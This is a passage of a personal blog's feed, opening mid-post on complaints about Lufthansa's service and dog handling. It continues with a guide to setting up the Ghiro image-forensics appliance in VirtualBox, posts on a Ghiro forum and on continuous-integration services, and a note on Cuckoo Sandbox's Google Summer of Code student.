&lt;li&gt;&lt;strong&gt;Manage your logistics&lt;/strong&gt;: if you want to check-in more or less 100
people, with only one check-in line open, you are going to, not&amp;nbsp;only
take more time than expected, but taking&amp;nbsp;ages.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Get more personeel&lt;/strong&gt;: if the people at check-in desks are the same
opening the gates, they can not start boarding until they finish
checking in people. So one delay one one side leads to another bigger&amp;nbsp;delay.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Training&lt;/strong&gt;: please train people, for example at check-in desks they
were totally unaware on the rules to check-in dogs. I had to tell
them how much I was expected to pay and other details, just because I
read the &amp;#8220;How to check-in your dogs&amp;#8221; rules before&amp;nbsp;boarding.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manage crisis&lt;/strong&gt;: when we land in Frankfurt it was clear we were
really late. All times I were late, the company I was flying with,
was so kind to&amp;nbsp;announce &amp;#8220;Hey Mr. X you are late so we are going to
help you, someone is waiting for you at end of the stairs&amp;#8221;. But with
Lufthansa &amp;nbsp;no announcements, nobody cares if a flight is&amp;nbsp;late.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Customer service #1: keep your word&lt;/strong&gt;: Landed in Frankfurt, I asked
at the first Lufthansa hostess at the terminal how to get my
connected flight. She checked and said &amp;#8220;Don&amp;#8217;t worry they will wait
for you&amp;#8221;. Sadly but true: I arrived at the gate 10 minutes late and
they don&amp;#8217;t&amp;nbsp;wait.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Customer service #2: manage exceptions&lt;/strong&gt;: when I approached the
passport control the line was really long, so I asked a Lufthansa
hostess if there is a priority line for us, she said &amp;#8220;Just one line
and no priority&amp;#8221;. So the incapacity to manage exceptions leads to
re-protection (costs for&amp;nbsp;Lufthansa).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Customer service #3: don&amp;#8217;t be a liar&lt;/strong&gt;:&amp;nbsp;I asked again to another
Lufthansa hostess and I insisted, she checked and said &amp;#8220;You will
found someone waiting for you other the passport control&amp;#8221;. No one was&amp;nbsp;waiting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Customer service #4: make clients happy&lt;/strong&gt;: I missed the flight and
asked &amp;nbsp;for support to the service desk, I found an angry&amp;nbsp;girl. When
someone comes to you for a problem caused by you, you should
apologize and reward him. Just saying &amp;#8220;we are sorry, the next flight
is tomorrow&amp;#8221; in economy class because business is fully booked and
you will stay in a shitty hotel with a free 20 euros dinner, when you
are used to five stars hotel and to spend more than that just for
beers looks like a&amp;nbsp;joke.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cruelty to animals #1&lt;/strong&gt;: I asked to have my dogs back for the
night, when I finally had my box back, it was all wet (it was raining
so probably they left it under the rain). The pillow and blanket
inside were wet: my dogs were sitting on the wet. Lufthansa publicize
a lot how they threat pets, I am not sure this it what they&amp;nbsp;meant.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cruelty to animals #2&lt;/strong&gt;: I found a food stamp on the dog&amp;#8217;s box, it
means someone kicked it. I am not sure this is the proper way to deal
with live&amp;nbsp;animals.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Missing authentication&lt;/strong&gt;: When I finally found my dog&amp;#8217;s box, it was
left unattended on a corner in a baggage claim hall. No one is
guarding it and no one asked me when I get them. So virtually anyone
could steal your&amp;nbsp;pets.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Citing Forrest Gump: &amp;#8220;shit happens&amp;#8221; but how you&amp;nbsp;deal with shit, how you
manage crisis and customer service make the difference from losing
clients and transform an issue in a success story.&amp;nbsp;And please, never be
a&amp;nbsp;liar.&lt;/p&gt;
</content><category term="Blog"></category><category term="flight"></category><category term="lufthansa"></category></entry><entry><title>How to setup an Image Forensic lab with Ghiro</title><link href="https://jekil.sexy/blog/2015/how-to-setup-an-image-forensic-lab-with-ghiro.html" rel="alternate"></link><published>2015-08-19T23:49:00+01:00</published><updated>2015-08-19T23:49:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2015-08-19:/blog/2015/how-to-setup-an-image-forensic-lab-with-ghiro.html</id><summary type="html">&lt;p&gt;This how to will guide you through the setup of an &lt;strong&gt;Image Forensics&lt;/strong&gt;
lab, using &lt;a class="reference external" href="http://getghiro.org"&gt;Ghiro&lt;/a&gt;, a free and open source image
forensics&amp;nbsp;tool.&lt;/p&gt;
&lt;p&gt;Ghiro comes also with a &lt;strong&gt;virtual appliance&lt;/strong&gt; (it is a copy of Ubuntu
Linux with all you need already installed, you can run on your host) to
help people get a running Ghiro in few&amp;nbsp;steps.&lt;/p&gt;
&lt;div class="section" id="ready-for-virtualization"&gt;
&lt;h2&gt;1. Ready for&amp;nbsp;virtualization&lt;/h2&gt;
&lt;p&gt;You can run Ghiro Appliance in any host (Mac, Windows or Linux), &amp;nbsp;only a
virtualization software is requested.&amp;nbsp;There are many out there, free and
commercial, for example
&lt;a class="reference external" href="http://www.vmware.com/products/workstation"&gt;Vmware&lt;/a&gt;&amp;nbsp;or
&lt;a class="reference external" href="https://www.virtualbox.org/"&gt;VirtualBox&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://www.virtualbox.org/"&gt;VirtualBox&lt;/a&gt; is a free and …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;This how to will guide you through the setup of an &lt;strong&gt;Image Forensics&lt;/strong&gt;
lab, using &lt;a class="reference external" href="http://getghiro.org"&gt;Ghiro&lt;/a&gt;, a free and open source image
forensics&amp;nbsp;tool.&lt;/p&gt;
&lt;p&gt;Ghiro comes also with a &lt;strong&gt;virtual appliance&lt;/strong&gt; (it is a copy of Ubuntu
Linux with all you need already installed, you can run on your host) to
help people get a running Ghiro in few&amp;nbsp;steps.&lt;/p&gt;
&lt;div class="section" id="ready-for-virtualization"&gt;
&lt;h2&gt;1. Ready for&amp;nbsp;virtualization&lt;/h2&gt;
&lt;p&gt;You can run Ghiro Appliance in any host (Mac, Windows or Linux), &amp;nbsp;only a
virtualization software is requested.&amp;nbsp;There are many out there, free and
commercial, for example
&lt;a class="reference external" href="http://www.vmware.com/products/workstation"&gt;Vmware&lt;/a&gt;&amp;nbsp;or
&lt;a class="reference external" href="https://www.virtualbox.org/"&gt;VirtualBox&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://www.virtualbox.org/"&gt;VirtualBox&lt;/a&gt; is a free and open source
virtualization software, so for the sake of this guide we are going to
use it, although you can use any other software to run Ghiro&amp;nbsp;Appliance.&lt;/p&gt;
&lt;p&gt;You need to have VirtualBox working, so download and install
&lt;a class="reference external" href="https://www.virtualbox.org/"&gt;VirtualBox&lt;/a&gt; following the instruction
on his&amp;nbsp;website.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="get-ghiro-appliance"&gt;
&lt;h2&gt;2. &lt;span class="caps"&gt;GET&lt;/span&gt; Ghiro&amp;nbsp;Appliance&lt;/h2&gt;
&lt;p&gt;Download Ghiro Appliance from &lt;a class="reference external" href="http://www.getghiro.org/#download"&gt;Ghiro
website&lt;/a&gt;&amp;nbsp;in &lt;span class="caps"&gt;OVA&lt;/span&gt; format&amp;nbsp;and
uncompress it, it is around&amp;nbsp;600Mb.&lt;/p&gt;
&lt;p&gt;You will explode an .&lt;span class="caps"&gt;OVA&lt;/span&gt; file&amp;nbsp;(the appliance), and a readme file with
setup&amp;nbsp;instructions.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.38.55.png"&gt;&lt;img alt="Screen Shot 2015-08-19 at 01.38.55" class="img-center" src="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.38.55.png" style="width: 246px; height: 126px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="import-appliance"&gt;
&lt;h2&gt;3. Import&amp;nbsp;Appliance&lt;/h2&gt;
&lt;p&gt;Now you can import the .&lt;span class="caps"&gt;OVA&lt;/span&gt; file inside VirtualBox. Open VirtualBox, go
in the menu File and click on &amp;#8220;Import Appliance&amp;#8230;&amp;#8221;, a screen like the
following&amp;nbsp;will&amp;nbsp;popup:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.44.05.png"&gt;&lt;img alt="Screen Shot 2015-08-19 at 01.44.05" class="img-center" src="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.44.05.png" style="width: 882px; height: 750px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Select the .&lt;span class="caps"&gt;OVA&lt;/span&gt; file and than click&amp;nbsp;&amp;#8220;Continue&amp;#8221;:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.45.25.png"&gt;&lt;img alt="Screen Shot 2015-08-19 at 01.45.25" class="img-center" src="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.45.25.png" style="width: 882px; height: 750px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Now a default setting page is proposed, just hit&amp;nbsp;&amp;#8220;Import&amp;#8221;:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.46.42.png"&gt;&lt;img alt="Screen Shot 2015-08-19 at 01.46.42" class="img-center" src="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.46.42.png" style="width: 882px; height: 750px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After clicking &amp;#8220;Import&amp;#8221; the import process will start and&amp;nbsp;in a couple of
minutes it will&amp;nbsp;be&amp;nbsp;ready:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.47.14.png"&gt;&lt;img alt="Screen Shot 2015-08-19 at 01.47.14" class="img-center" src="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.47.14.png" style="width: 882px; height: 750px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;When the appliance is imported you will see it in virtual machines list
(don&amp;#8217;t worry if you don&amp;#8217;t have all the machines listed in the
screenshots, I am sorry but I have&amp;nbsp;many):&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.49.26.png"&gt;&lt;img alt="Screen Shot 2015-08-19 at 01.49.26" class="img-center" src="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.49.26.png" style="width: 882px; height: 750px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="network-configuration"&gt;
&lt;h2&gt;4. Network&amp;nbsp;Configuration&lt;/h2&gt;
&lt;p&gt;Most people fail configuring the network, so please pay&amp;nbsp;attention.&lt;/p&gt;
&lt;p&gt;Right click on your &lt;strong&gt;Ghiro Appliance&lt;/strong&gt; on the Virtual Box Manager
window and click &lt;strong&gt;Settings.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.51.03.png"&gt;&lt;img alt="Screen Shot 2015-08-19 at 01.51.03" class="img-center" src="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.51.03.png" style="width: 854px; height: 722px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Then choose the &lt;strong&gt;Network&lt;/strong&gt;&amp;nbsp;tab.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.51.52.png"&gt;&lt;img alt="Screen Shot 2015-08-19 at 01.51.52" class="img-center" src="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.51.52.png" style="width: 854px; height: 722px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;You have to configure how the virtual machine can connect to your
network, so now you are asked to select the network interface you are
using and the type of link (bridged or host&amp;nbsp;only).&lt;/p&gt;
&lt;p&gt;In most cases you need to set &amp;#8220;Attached to:&amp;#8221; to &amp;#8220;&lt;strong&gt;Bridged Adapter&lt;/strong&gt;&amp;#8221;
and you have to set the &amp;#8220;Name&amp;#8221; of the network card&amp;nbsp;you are using your
for network, for example if you are using your wired interface named
&amp;#8220;eth0&amp;#8221;, select &amp;#8220;eth0&amp;#8221; on the name drop down&amp;nbsp;menu.&lt;/p&gt;
&lt;p&gt;Remember to alway set &amp;#8220;Attached to:&amp;#8221; to &amp;#8220;Bridged Adapter&amp;#8221; or &amp;#8220;Host-only
Adapter&amp;#8221;, never use &lt;span class="caps"&gt;NAT&lt;/span&gt; or any other option, it will not work due to how
networking is implemented in VirtualBox.&amp;nbsp;For more information about
connectivity see the &lt;a class="reference external" href="https://www.virtualbox.org/manual/UserManual.html"&gt;VirtualBox
documentation&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.51.52.png"&gt;&lt;img alt="Screen Shot 2015-08-19 at 01.51.52" class="img-center" src="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.51.52.png" style="width: 854px; height: 722px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="start-and-play"&gt;
&lt;h2&gt;5. Start and&amp;nbsp;Play&lt;/h2&gt;
&lt;p&gt;Start the Ghiro Appliance selecting it and clicking on &amp;#8220;Start&amp;#8221;. The boot
will start, when the appliance is ready you will see a screen like this&amp;nbsp;one.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.54.17.png"&gt;&lt;img alt="Screen Shot 2015-08-19 at 01.54.17" class="img-center" src="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-01.54.17.png" style="width: 724px; height: 607px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The appliance &lt;span class="caps"&gt;IP&lt;/span&gt; address is printed on the screen, as&amp;nbsp;highlighted:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/08/appliance_15.png"&gt;&lt;img alt="appliance_15" class="img-center" src="https://jekil.sexy/images/2015/08/appliance_15.png" style="width: 752px; height: 635px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;What you Now just put that address in your browser and the Ghiro interface will&amp;nbsp;appear.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-23.42.56.png"&gt;&lt;img alt="Screen Shot 2015-08-19 at 23.42.56" class="img-center" src="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-23.42.56.png" style="width: 660px; height: 431px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Now login in your browser with the same credentials and you will be ready to&amp;nbsp;play&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Login: &lt;strong&gt;ghiro&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Password: &lt;strong&gt;ghiromanager&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-23.44.30.png"&gt;&lt;img alt="Screen Shot 2015-08-19 at 23.44.30" class="img-center" src="https://jekil.sexy/images/2015/08/Screen-Shot-2015-08-19-at-23.44.30.png" style="width: 660px; height: 431px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Enjoy!&lt;/strong&gt; For any question Ghiro developer are available on the
&lt;a class="reference external" href="https://forum.getghiro.org"&gt;forum&lt;/a&gt; or &lt;a class="reference external" href="https://groups.google.com/d/forum/ghiro"&gt;mailing
list&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
</content><category term="Tools"></category><category term="appliance"></category><category term="ghiro"></category><category term="image forensics"></category></entry><entry><title>Ghiro and Image Forensics Forum is opening</title><link href="https://jekil.sexy/blog/2015/ghiro-and-image-forensics-forum-is-opening.html" rel="alternate"></link><published>2015-08-16T15:04:00+01:00</published><updated>2015-08-16T15:04:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2015-08-16:/blog/2015/ghiro-and-image-forensics-forum-is-opening.html</id><summary type="html">&lt;p&gt;&lt;a class="reference external" href="http://getghiro.org"&gt;Ghiro&lt;/a&gt; is an open source project and it is
driven by community needs: users feedback has a great value for&amp;nbsp;us.&lt;/p&gt;
&lt;p&gt;We always want to provide a &lt;strong&gt;comfortable&lt;/strong&gt; tool for user support: we
have &lt;span class="caps"&gt;IRC&lt;/span&gt; chat for real time support and a &lt;a class="reference external" href="https://groups.google.com/forum/#!forum/ghiro"&gt;mailing
list&lt;/a&gt; for asynchronous
question and&amp;nbsp;answer.&lt;/p&gt;
&lt;p&gt;Today we are announcing a &lt;strong&gt;new&lt;/strong&gt; support tool: the &lt;a class="reference external" href="https://forum.getghiro.org"&gt;Ghiro and Image
Forensics Forum&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We hope this will be an easy to use way share information, requests and
feedback not only about Ghiro but also about any &lt;strong&gt;Image Forensics&lt;/strong&gt;&amp;nbsp;topic.&lt;/p&gt;
&lt;p&gt;The forum has several categories, local forums where you can talk …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;a class="reference external" href="http://getghiro.org"&gt;Ghiro&lt;/a&gt; is an open source project and it is
driven by community needs: users feedback has a great value for&amp;nbsp;us.&lt;/p&gt;
&lt;p&gt;We always want to provide a &lt;strong&gt;comfortable&lt;/strong&gt; tool for user support: we
have &lt;span class="caps"&gt;IRC&lt;/span&gt; chat for real time support and a &lt;a class="reference external" href="https://groups.google.com/forum/#!forum/ghiro"&gt;mailing
list&lt;/a&gt; for asynchronous
question and&amp;nbsp;answer.&lt;/p&gt;
&lt;p&gt;Today we are announcing a &lt;strong&gt;new&lt;/strong&gt; support tool: the &lt;a class="reference external" href="https://forum.getghiro.org"&gt;Ghiro and Image
Forensics Forum&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We hope this will be an easy to use way share information, requests and
feedback not only about Ghiro but also about any &lt;strong&gt;Image Forensics&lt;/strong&gt;&amp;nbsp;topic.&lt;/p&gt;
&lt;p&gt;The forum has several categories, local forums where you can talk in
your native language (if a forum for your country is missing, just ask
and it will be added), registration with third party account (i.e.
google, github), and many other&amp;nbsp;features.&lt;/p&gt;
&lt;p&gt;Enyoj!&amp;nbsp;&lt;a class="reference external" href="https://forum.getghiro.org"&gt;https://forum.getghiro.org&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/08/eab.jpg"&gt;&lt;img alt="This is relevant to my interests" class="img-center" src="https://jekil.sexy/images/2015/08/eab.jpg" style="width: 300px; height: 235px;" /&gt;&lt;/a&gt;&lt;/p&gt;
</content><category term="Blog"></category><category term="ghiro"></category><category term="image forensics"></category></entry><entry><title>Continuous Integration Services I Like</title><link href="https://jekil.sexy/blog/2015/continuous-integration-services-i-like.html" rel="alternate"></link><published>2015-07-20T17:28:00+01:00</published><updated>2015-07-20T17:28:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2015-07-20:/blog/2015/continuous-integration-services-i-like.html</id><summary type="html">&lt;p&gt;The term &lt;strong&gt;&amp;#8220;continuous integration (&lt;span class="caps"&gt;CI&lt;/span&gt;)&amp;#8221;&lt;/strong&gt; refers to a process that
builds, assess and tests code on a frequent&amp;nbsp;basis.&lt;/p&gt;
&lt;p&gt;Today continuous integration is a starting point for agile developers
and widely&amp;nbsp;used.&lt;/p&gt;
&lt;p&gt;Every project I&amp;#8217;m working on&amp;nbsp;starts with a setup of continuous
integration pipeline. I&amp;#8217;m a big fan of agile developing, that&amp;#8217;s why I
was always&amp;nbsp;searching for tools or services to help me develop my
projects better and&amp;nbsp;faster.&lt;/p&gt;
&lt;p&gt;Here is a brief summary of services, selected over the years, I use in
my projects, all of them are free, provide a badge you can …&lt;/p&gt;</summary><content type="html">&lt;p&gt;The term &lt;strong&gt;&amp;#8220;continuous integration (&lt;span class="caps"&gt;CI&lt;/span&gt;)&amp;#8221;&lt;/strong&gt; refers to a process that
builds, assess and tests code on a frequent&amp;nbsp;basis.&lt;/p&gt;
&lt;p&gt;Today continuous integration is a starting point for agile developers
and widely&amp;nbsp;used.&lt;/p&gt;
&lt;p&gt;Every project I&amp;#8217;m working on&amp;nbsp;starts with a setup of continuous
integration pipeline. I&amp;#8217;m a big fan of agile developing, that&amp;#8217;s why I
was always&amp;nbsp;searching for tools or services to help me develop my
projects better and&amp;nbsp;faster.&lt;/p&gt;
&lt;p&gt;Here is a brief summary of services, selected over the years, I use in
my projects, all of them are free, provide a badge you can embed in your
website and are really easy to use. As example I will show the services
I use on &lt;a class="reference external" href="http://www.getghiro.org/"&gt;Ghiro&lt;/a&gt;, an open source image
forensics&amp;nbsp;tool.&lt;/p&gt;
&lt;div class="section" id="coveralls-io"&gt;
&lt;h2&gt;Coveralls.io&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://coveralls.io/"&gt;Coveralls.io&lt;/a&gt; is a service to help you track
your code coverage over time, and ensure that all your new code is fully&amp;nbsp;covered.&lt;/p&gt;
&lt;p&gt;This is of great help to focus you on writing tests (yep, I will&amp;nbsp;do&amp;#8230;)&lt;/p&gt;
&lt;p&gt;For example, this is the dashboard you get for
&lt;a class="reference external" href="http://www.getghiro.org/"&gt;Ghiro&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/07/Screen-Shot-2015-07-16-at-23.52.44.png"&gt;&lt;img alt="Screen Shot 2015-07-16 at 23.52.44" class="img-center" src="https://jekil.sexy/images/2015/07/Screen-Shot-2015-07-16-at-23.52.44.png" style="width: 300px; height: 62px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="drone-io"&gt;
&lt;h2&gt;&lt;span class="caps"&gt;DRONE&lt;/span&gt;.&lt;span class="caps"&gt;IO&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://drone.io/"&gt;Drone.io&lt;/a&gt; is another continuous integration tool,
I think it is more customizable than Travis-&lt;span class="caps"&gt;CI&lt;/span&gt; although I use&amp;nbsp;both.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="landscape-io"&gt;
&lt;h2&gt;Landscape.io&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://landscape.io/"&gt;Landscape.io&lt;/a&gt; is a code quality service, it
monitors your codebase for metrics and trends. It runs checks against
your code to look for errors, code smells and deviations from stylistic
conventions. It finds potential problems before they&amp;#8217;re problems, to
help you decide what and when to&amp;nbsp;refactor.&lt;/p&gt;
&lt;p&gt;It is a good service, although it is not so much configurable (i.e. you
can&amp;#8217;t mark false positives), it could help to keep a code quality in
your&amp;nbsp;projects.&lt;/p&gt;
&lt;p&gt;For example, this is the dashboard you get for
&lt;a class="reference external" href="http://www.getghiro.org/"&gt;Ghiro&lt;/a&gt;, there are same false positives I
can&amp;#8217;t mark as&amp;nbsp;accepted:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/07/Screen-Shot-2015-07-16-at-23.07.53.png"&gt;&lt;img alt="Screen Shot 2015-07-16 at 23.07.53" class="img-center" src="https://jekil.sexy/images/2015/07/Screen-Shot-2015-07-16-at-23.07.53.png" style="width: 300px; height: 117px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="requires-io"&gt;
&lt;h2&gt;Requires.io&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://requires.io/"&gt;Requires.io&lt;/a&gt;&amp;nbsp;monitors the requirements of your
project and notify you whenever a dependency is outdated, all Python
dependencies are monitored: you are notified if you are using an old
library or an insecure&amp;nbsp;one.&lt;/p&gt;
&lt;p&gt;I love this service, I found it of great help. Remember: it is mandatory
to keep track of insecure dependencies in your&amp;nbsp;project!&lt;/p&gt;
&lt;p&gt;For example, this is the dashboard you get for
&lt;a class="reference external" href="http://www.getghiro.org/"&gt;Ghiro&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/07/Screen-Shot-2015-07-16-at-22.49.09.png"&gt;&lt;img alt="Screen Shot 2015-07-16 at 22.49.09" class="img-center" src="https://jekil.sexy/images/2015/07/Screen-Shot-2015-07-16-at-22.49.09.png" style="width: 300px; height: 209px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="travis-ci"&gt;
&lt;h2&gt;Travis &lt;span class="caps"&gt;CI&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://travis-ci.org/"&gt;Travis-&lt;span class="caps"&gt;CI&lt;/span&gt;&lt;/a&gt; is the best continuous
integration and building services you will get, any description is
pointless, and it is free. Kudos to these&amp;nbsp;guys.&lt;/p&gt;
&lt;p&gt;For example, this is the build report&amp;nbsp;you get for
&lt;a class="reference external" href="http://www.getghiro.org/"&gt;Ghiro&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/07/Screen-Shot-2015-07-16-at-23.57.36.png"&gt;&lt;img alt="Screen Shot 2015-07-16 at 23.57.36" class="img-center" src="https://jekil.sexy/images/2015/07/Screen-Shot-2015-07-16-at-23.57.36.png" style="width: 300px; height: 280px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="Blog"></category><category term="CI"></category><category term="development"></category></entry><entry><title>Cuckoo GSOC: about winners and winners</title><link href="https://jekil.sexy/blog/2015/cuckoo-gsoc-about-winners-and-winners.html" rel="alternate"></link><published>2015-05-10T18:13:00+01:00</published><updated>2015-05-10T18:13:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2015-05-10:/blog/2015/cuckoo-gsoc-about-winners-and-winners.html</id><summary type="html">&lt;p&gt;I hope you already know, this year &lt;a class="reference external" href="http://cuckoosandbox.org/"&gt;Cuckoo
Sandbox&lt;/a&gt; joined the &lt;a class="reference external" href="https://www.google-melange.com/gsoc/homepage/google/gsoc2015"&gt;Google Summer of
Code&lt;/a&gt;
program thanks to the &lt;a class="reference external" href="https://honeynet.org/"&gt;Honeynet Project&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We proposed two project ideas: a &lt;a class="reference external" href="https://honeynet.org/gsoc/ideas#project18"&gt;Linux analyzer
project&lt;/a&gt; and a &lt;a class="reference external" href="https://honeynet.org/gsoc/ideas#project19"&gt;Mac &lt;span class="caps"&gt;OS&lt;/span&gt; X
analyzer project&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We got a lot of submissions, many talented and skilled students applied
with their project proposal. Sadly Google gave only 8 slots for all the
Honeynet organization, so&amp;nbsp;trying to decide which lucky students
would&amp;nbsp;eventually be accepted was an hard&amp;nbsp;task.&lt;/p&gt;
&lt;p&gt;Difficult decisions unfortunately had to&amp;nbsp;be made to best use the limited
number of slots, so only the best student of …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I hope you already know, this year &lt;a class="reference external" href="http://cuckoosandbox.org/"&gt;Cuckoo
Sandbox&lt;/a&gt; joined the &lt;a class="reference external" href="https://www.google-melange.com/gsoc/homepage/google/gsoc2015"&gt;Google Summer of
Code&lt;/a&gt;
program thanks to the &lt;a class="reference external" href="https://honeynet.org/"&gt;Honeynet Project&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We proposed two project ideas: a &lt;a class="reference external" href="https://honeynet.org/gsoc/ideas#project18"&gt;Linux analyzer
project&lt;/a&gt; and a &lt;a class="reference external" href="https://honeynet.org/gsoc/ideas#project19"&gt;Mac &lt;span class="caps"&gt;OS&lt;/span&gt; X
analyzer project&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We got a lot of submissions, many talented and skilled students applied
with their project proposal. Sadly Google gave only 8 slots for all the
Honeynet organization, so&amp;nbsp;trying to decide which lucky students
would&amp;nbsp;eventually be accepted was an hard&amp;nbsp;task.&lt;/p&gt;
&lt;p&gt;Difficult decisions unfortunately had to&amp;nbsp;be made to best use the limited
number of slots, so only the best student of all Cuckoo project ideas
was&amp;nbsp;selected.&lt;/p&gt;
&lt;p&gt;The winner was&amp;nbsp;&lt;a class="reference external" href="https://twitter.com/rodionovme"&gt;Dmitry Rodionov&lt;/a&gt;
with the Mac &lt;span class="caps"&gt;OS&lt;/span&gt; X analyzer project. He will work with me and
&lt;a class="reference external" href="https://twitter.com/skier_t"&gt;Jurriaan&lt;/a&gt; during this summer to extend
Cuckoo analysis capabilities to Mac &lt;span class="caps"&gt;OS&lt;/span&gt; X. If you are interested in, you
can follow the progress in a &lt;a class="reference external" href="https://github.com/rodionovd/cuckoo-osx-analyzer"&gt;public
GitHub&lt;/a&gt;&amp;nbsp;repository.&lt;/p&gt;
&lt;p&gt;At some point several students who applied to the Linux project started
to discuss about the project regarding from the &lt;span class="caps"&gt;GSOC&lt;/span&gt; results, asking for
our help on some design ideas. That was amazing to me, they are pushed
by curiosity. They are winners&amp;nbsp;too.&lt;/p&gt;
